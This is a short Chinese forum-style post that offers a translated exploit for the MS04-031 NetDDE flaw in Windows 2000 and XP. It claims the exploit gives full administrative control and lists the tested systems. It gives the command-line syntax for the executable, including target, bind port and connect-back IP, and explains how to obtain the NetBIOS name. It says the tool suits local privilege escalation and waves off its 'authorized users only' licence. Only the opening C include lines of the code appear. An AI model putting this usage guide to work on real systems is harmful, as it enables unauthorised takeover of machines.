我从国外网站找到的，把英文简单翻译了一下，用我的话，呵呵。
此程序是MS04031的漏洞利用程序，成功利用此漏洞可以完全控制目标系统，获得管理权限。
程序是针对MS NETDDE的攻击程序。
但是因为该服务默认情况下是关闭的，所以我们能远程利用该漏洞的成功率很小。
然后，这为我们本地权限提升提供了一个很好的方式。
如何防范：
请用户尽快打补丁：
* http://www.microsoft.com/technet/security/Bulletin/MS04-031.mspx
Tested on:
* - Windows XP Professional SP0
* - Windows XP Professional SP1
* - Windows 2000 Professional SP2
* - Windows 2000 Professional SP3
* - Windows 2000 Professional SP4
* - Windows 2000 Advanced Server SP4
程序使用许可
这是一个演示版本，只有被授权的用户才能使用它（跟我们没关系，外国人和我们法律不一样啊）
命令行参数：
HOD-ms04031-expl.exe <host> <netbios name> <target> <bindport>
* [connectback IP] [options]
host 目标主机
netbios name这个我们开始是不清楚的，需要用到-f参数
首先 expl.exe 192.168.0.1 -f
得到netbios name
target 目标系统版本 慢慢试，不过2000和XP应该很好区分
bindport 目标打开端口，用于我们连接用，也可以反向连接，不再介绍。
代码如下：
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
